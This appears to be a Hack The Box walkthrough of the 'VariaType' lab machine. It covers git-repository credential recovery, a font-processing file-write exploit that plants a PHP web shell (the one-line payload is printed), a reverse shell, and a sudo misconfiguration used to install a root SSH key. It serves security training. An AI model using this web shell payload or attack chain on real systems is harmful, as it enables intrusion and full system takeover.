Introduction to VariaType:

In this write-up, we will explore the “VariaType” machine from Hack The Box, categorised as a medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “VariaType” machine from Hack The Box by achieving the following objectives:

User Flag:

The attacker obtained the user flag after escalating from the initial web shell to a stable interactive session as www-data, then moving through a second privilege escalation path to gain access as a user steve. This process involved abusing the backend font processing pipeline and a zip-based exploitation flow, which ultimately spawned a reverse shell in a privileged context. After establishing access as steve, the attacker located and read the user.txt file in the home directory, confirming full user-level compromise of the system.

Root Flag:

Further privilege escalation from the steve user yielded the root flag. A misconfigured sudo rule permitted execution of a Python-based validator script with root privileges. Exploitation of this execution path installed an attacker-controlled SSH public key into /root/.ssh/authorized_keys, enabling passwordless root access. Subsequently, SSH authentication as root provided access to the root.txt file in the /root directory, ultimately completing full system compromise.

Enumerating the VariaType Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.129.23.240

nmap -sC -sV -oA initial 10.129.23.240

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/variatype]
└──╼ $nmap -sC -sV -oA initial 10.129.23.240
# Nmap 7.94SVN scan initiated Fri Jun 12 00:31:14 2026 as: nmap -sC -sV -oA initial 10.129.23.240
Nmap scan report for 10.129.23.240
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 12 00:32:36 2026 -- 1 IP address (1 host up) scanned in 81.56 seconds

┌─[dark@parrot]─[~/Documents/htb/variatype]
└──╼ $nmap -sC -sV -oA initial 10.129.23.240
# Nmap 7.94SVN scan initiated Fri Jun 12 00:31:14 2026 as: nmap -sC -sV -oA initial 10.129.23.240
Nmap scan report for 10.129.23.240
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 12 00:32:36 2026 -- 1 IP address (1 host up) scanned in 81.56 seconds

Analysis:

• Port 22 (SSH): OpenSSH 9.2p1 (Debian) — Standard secure remote access service.
• Port 80 (HTTP): nginx 1.22.1 web server — Hosting the VariaType Labs application (redirects to variatype.htb).

Web Enumeration on VariaType:

Perform web enumeration to discover potentially exploitable directories and files.

The VariaType Labs landing page at http://variatype.htb presents the company’s variable font generation service. Initial enumeration began by reviewing the site’s content and functionality. The page features a clean, professional design typical of web application challenges.

We examined the VariaType Labs services page. It describes the company’s professional typography services and variable font development offerings. This gave us important context for the custom font processing workflow that we exploited throughout the attack.

We revisited the variable font generator upload page.

A directory enumeration scan with Gobuster and a medium wordlist revealed the /files/ directory on portal.variatype.htb. The attacker later used this location to host the web shell.

A Gobuster virtual host enumeration using the top 5000 subdomains wordlist against variatype.htb completed without discovering additional hosts.

Using ffuf with a custom Host header (FUZZ.variatype.htb) and the same subdomain wordlist quickly identifies the portal subdomain. The portal responds with a 200 status and different content size, confirming a hidden internal service at http://portal.variatype.htb.

The newly discovered portal.variatype.htb hosts an “Internal Validation Portal” login page requiring Employee ID/Username and Password. The page mentions authorised personnel only and provides a support email, suggesting potential misconfigurations or exposed backend resources.

A second Gobuster scan using a common wordlist revealed several critical directories. Most importantly, the scan identified the exposed /.git/ directory. Further enumeration uncovered files such as /.git/HEAD, /.git/config, /.git/index, and index.php. These results confirmed that the web root was accessible and that the server had unintentionally exposed version control metadata.

Git Repository Exposure for VariaType machine

Running git-dumper against http://portal.variatype.htb/.git/ successfully extracts the Git repository. This common web misconfiguration exposes the full version control history, allowing recovery of source code and sensitive files.

Git Repository Analysis and Credential Discovery on VariaType machine

Examination of the dumped Git repository revealed the presence of the auth.php file.

Viewing its contents reveals a PHP authentication script that initialises a session and defines an empty $USERS array — a promising lead for understanding the login logic or finding hardcoded credentials in other commits.

A detailed directory listing (ls -al) in the dumped Git folder confirms the presence of auth.php and a hidden .git directory. This verifies that the dump captured both application files and the complete Git metadata needed for further analysis.

Navigating into the .git directory shows standard Git objects (HEAD, refs, objects, hooks, etc.). This structure enables manual inspection of commit history, branches, and previous versions of the authentication code for potential secrets or vulnerabilities.

A new directory named dump was created to provide a clean workspace for restoring the contents of the dumped Git repository. This approach allowed the analysis to proceed without modifying the original files.

The entire .git directory was recursively copied into the newly created dump folder. This step isolated the Git metadata and allowed safe inspection of the repository history without altering the original dump.

The working directory was switched to the dump folder to start interacting with the copied Git repository.

git checkout -f command forces a checkout of the latest commit, restoring the working files from the Git history into the current directory, including auth.php.

A directory listing of the restored .git folder confirmed that the standard Git structure remained intact, including objects, refs, and hooks.

Running git log –oneline reveals the commit history. Two main commits are visible: the initial portal implementation and a recent fix adding a gitbot user for the automated validation pipeline.

Examining the latest commit with git show exposes the changes made to auth.php. The patch adds a hardcoded credential for the gitbot user: ‘G1tB0t_Acc3ss_2025!’, providing valid login details for the internal portal.

Using the discovered credentials gitbot / G1tB0t_Acc3ss_2025!, authentication succeeded on the Internal Validation Portal at http://portal.variatype.htb.

Initial Access via Variable Font Generator on VariaType machine

After login, the Validation Dashboard loaded and displayed the authenticated interface. It showed no recent font builds and confirmed successful access to the restricted area of the application.

The VariaType Labs variable font generator page allows users to upload a .designspace file along with master .ttf/.otf fonts to create a variable font. This is the entry point for the challenge, where we will exploit the processing pipeline

CVE-2025-66034 vulnerability on the VariaType machine

A Google search for the .designspace file format clarified its role in variable font generation. This explanation tied back to the initial attack phase, where a malicious .designspace file enabled command injection during the font generation process.

Source: CVE-2025-66034, When fontTools varLib Turns a Designspace File Into a Write Primitive

The CVE-2025-66034 write-up explains how a malicious .designspace file can trigger an arbitrary file write primitive through fontTools.varLib. This vulnerability served as the underlying cause of the initial RCE vector exploited in the variable font generator.

Crafting Master Fonts

#!/usr/bin/env python3
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)

    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})

    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()

    glyph = pen.glyph()

    fb.setupGlyf({".notdef": glyph})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "ExploitFont", "styleName": f"Weight{weight}"})

    fb.save(filename)
    print(f"[+] Created {filename}")

#!/usr/bin/env python3
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)

    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})

    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()

    glyph = pen.glyph()

    fb.setupGlyf({".notdef": glyph})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "ExploitFont", "styleName": f"Weight{weight}"})

    fb.save(filename)
    print(f"[+] Created {filename}")

Main Execution Block

if __name__ == "__main__":
    print("[+] Generating source fonts for VariaType exploit...")
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)
    print("[+] Fonts ready! Upload to: http://variatype.htb/tools/variable-font-generator")

if __name__ == "__main__":
    print("[+] Generating source fonts for VariaType exploit...")
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)
    print("[+] Fonts ready! Upload to: http://variatype.htb/tools/variable-font-generator")

This Python script (dark.py) generates two master TrueType font files (source-light.ttf and source-regular.ttf) for the VariaType variable font generator. Using fontTools, it builds minimal valid TTF fonts with a .notdef glyph and essential metadata like weight, metrics, and name tables.

A custom Python script (dark.py) generated specially crafted source font files, source-light.ttf and source-regular.ttf.

Malicious Designspace Payload

The malicious dark.designspace file embeds a command injection payload in the field: <?php system($_GET[“cmd”]); ?>. Font processing writes this value into shell.php, resulting in a functional web shell.

The file upload dialogue shows both master fonts selected: source-light.ttf and source-regular.ttf.

The upload form includes the crafted dark.designspace file along with source-light.ttf and source-regular.ttf. Clicking “Generate Variable Font” triggers backend processing that results in remote code execution.

Processing completed successfully. The application generated the variable font (and our backdoored shell.php). We can now proceed to the validation dashboard to locate and interact with the uploaded PHP shell.

Validation Dashboard displays recently built fonts, including shell.php, confirming successful processing of the malicious .designspace file. Consequently, the generated PHP file is saved in the publicly accessible /files/ directory.

The Font Validation Report for shell.php shows it as VALID.

Web Shell and Initial Shell

Accessing shell.php?cmd=id demonstrates successful command execution. The output reveals we are running as the www-data user, confirming the web shell is fully functional.

Netcat listener starts on port 9007 to prepare for the incoming reverse shell connection.

Burp Suite shows the successful execution of the web shell with ?cmd=id. The response confirms we are running as www-data (uid=33, gid=33), proving the command injection via the malicious .designspace file worked and the PHP backdoor is active.

A URL-encoded bash -c payload is sent through the web shell, initiating a reverse connection back to the attacker’s Netcat listener on port 9007.

The Netcat listener receives the incoming reverse shell connection. After some warnings about job control, we land in a basic shell as www-data inside the /public/files/ directory, confirming initial access.

We return to the files/ directory and list its contents, confirming the presence of our shell.php and the generated variable font file.

Basic enumeration reveals a Steve user directory under /home/.

Access to Steve’s directory is denied due to insufficient permissions.

Privilege Escalation to Steve

The process_client_submissions.bak script in /opt/ reveals the backend font processing pipeline.

From the www-data shell, the find command identifies the FontForge binary at /usr/local/src/fontforge/.

FontForge version is checked with the -v flag, revealing build 20230101 (2025).

FontForge Vulnerability (CVE-2024-25081 & CVE-2024-25082)

Searching for FontForge exploits returns several CVEs, most notably CVE-2024-25081 and CVE-2024-25082, which involve command injection via crafted filenames in SplineFont components directly applicable to the font processing environment on the target.

Source: FontForge RCE — CVE-2024-25081 & CVE-2024-25082 – PoC

The GitHub PoC executes the payload as described in the repository instructions.

The valid payload sourced from public exploits or online references

Exploiting the Installer Script

A simple reverse shell script (shell.sh) is created in /tmp/ using echo.

A Python one-liner creates a dummy example.tar archive. This step prepares for exploiting a tar-related vulnerability or misconfiguration present on the system.

Attacker stabilises the shell using standard terminal upgrade techniques.

The attacker creates a shell payload and saves it to a file

The attacker views the source of make_exploit.py, which crafts a malicious filename using a base64-decoded bash reverse shell payload embedded in the zip structure to exploit the processing script.

A refined make_exploit.py script generates the final exploit.zip.

Finally, exploit.zip is transferred to the target using curl.

A new Netcat listener catches the incoming reverse shell. The connection succeeds, landing directly as user steve in a temporary processing directory, completing the privilege escalation.

User-level access is confirmed as the user.txt flag is retrieved from steve’s home directory.

Escalate To Root Privileges Access

Privilege Escalation:

Running sudo -l as steve reveals a privilege escalation path: steve can execute /usr/bin/python3 /opt/font-tools/install_validator.py * as root without a password.

An ed25519 SSH key pair is generated on the attacker machine using ssh-keygen. The resulting public key is prepared for placement into /root/.ssh/authorized_keys to enable passwordless root access.

The public key is copied and renamed to authorized_keys on the attacker’s side, preparing it for delivery via the vulnerable plugin installer.

Using sudo, the install_validator.py script is executed as steve with a crafted URL pointing to an attacker-controlled server hosting the malicious authorized_keys file. This action installs the SSH key directly into /root/.ssh/authorized_keys.

A simple Python HTTP server starts on the attacker’s machine.

The attacker successfully SSHs into the target as root using the planted private key (ssh -i /tmp/rootkey root@10.129.23.246), achieving full system compromise.

Root access is achieved, and the root.txt flag is retrieved from /root/.